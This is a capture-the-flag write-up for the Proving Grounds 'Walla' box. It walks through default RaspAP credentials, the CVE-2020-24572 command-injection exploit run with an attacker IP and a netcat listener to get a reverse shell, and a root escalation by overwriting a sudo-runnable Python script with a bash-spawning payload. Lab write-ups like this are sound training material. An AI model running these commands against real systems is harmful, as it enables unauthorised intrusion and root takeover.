# Walla Writeup - Proving Grounds

> Easy Linux box with a RaspAP panel behind basic auth. Default credentials and the CVE-2020-24572 command injection give a www-data shell, then a writable Python script runnable as root via sudo escalates to root.

- **URL:** https://hackindex.io/writeups/walla
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** command-injection, raspap, privilege-escalation, sudo-misconfiguration, cve-2020-24572
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-06
- **Updated:** 2026-10-06

Walla serves a RaspAP admin panel on lighttpd behind HTTP basic auth. Default RaspAP credentials open the panel, and RaspAP is vulnerable to CVE-2020-24572, an authenticated command injection that yields a shell as `www-data`. A NOPASSWD sudo rule lets `www-data` run a writable Python script in another user's home as root, so overwriting it with a shell payload gives root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# 8091/tcp open  http    lighttpd 1.4.53
# |_http-favicon: Unknown favicon MD5: B5F9F8F2263315029AD7A81420E6CC2D
# | http-methods:
# |_  Supported Methods: GET HEAD POST OPTIONS
# |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
# |_http-server-header: lighttpd/1.4.53
# | http-auth:
# | HTTP/1.1 401 Unauthorized
# |_  Basic realm=RaspAP
```

Port 8091 runs lighttpd behind HTTP basic auth with the realm `RaspAP`, the web UI for a Raspberry Pi access point.

### WhatWeb

Fingerprint the web service.

```bash
whatweb http://$TARGET_IP:8091
# http://$TARGET_IP:8091 [401 Unauthorized] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.53]
```

## Enumeration

RaspAP ships with well-known default credentials, `admin:secret`. They pass the basic auth prompt and load the RaspAP dashboard.

![](https://hackindex.io/storage/nYR4Xf8MXU7u8CkZ2BZPqA7G34KOxh4jHQlpdHXV.png)

With panel access confirmed, the version is vulnerable to CVE-2020-24572, an authenticated command injection in RaspAP. The built-in web console already runs commands as `www-data`.

## Exploitation

### RaspAP command injection (CVE-2020-24572)

A public exploit, `raspap_pwn.py`, authenticates with the default credentials and injects a reverse shell. Start a listener first.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
python3 raspap_pwn.py -t $TARGET_IP -P 8091 -u admin -p secret -i $ATTACKER_IP -l $ATTACKER_PORT
```

The listener catches a shell as `www-data`. Enumerate the home directories.

```bash
id
ls /home
ls /home/walter
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# janis  paige  terry  walter
# local.txt  wifi_reset.py
```

User `walter` holds a `wifi_reset.py` script. Check what `www-data` can run with sudo.

## Privilege Escalation

List the sudo rights.

```bash
sudo -l
# Matching Defaults entries for www-data on walla:
#     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sb...
#
# User www-data may run the following commands on walla:
#     (ALL) NOPASSWD: /sbin/ifup
#     (ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
```

`www-data` can run `/home/walter/wifi_reset.py` as root through Python, and the script is writable. Overwrite it with a short payload that returns a root shell.

```python
import os

os.setuid(0)
os.system('/bin/bash')
```

```bash
echo -e 'import os\nos.setuid(0)\nos.system("/bin/bash")' > /home/walter/wifi_reset.py
sudo /usr/bin/python /home/walter/wifi_reset.py
# root@walla:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

`os.setuid(0)` runs under the root sudo context, so the spawned bash is root.

Related

## References

- [lb0x/cve-2020-24572](https://github.com/lb0x/cve-2020-24572) - raspap_pwn.py exploit for the RaspAP authenticated command injection.
- [CVE-2020-24572](https://nvd.nist.gov/vuln/detail/CVE-2020-24572) - Authenticated command injection in RaspAP allowing remote code execution.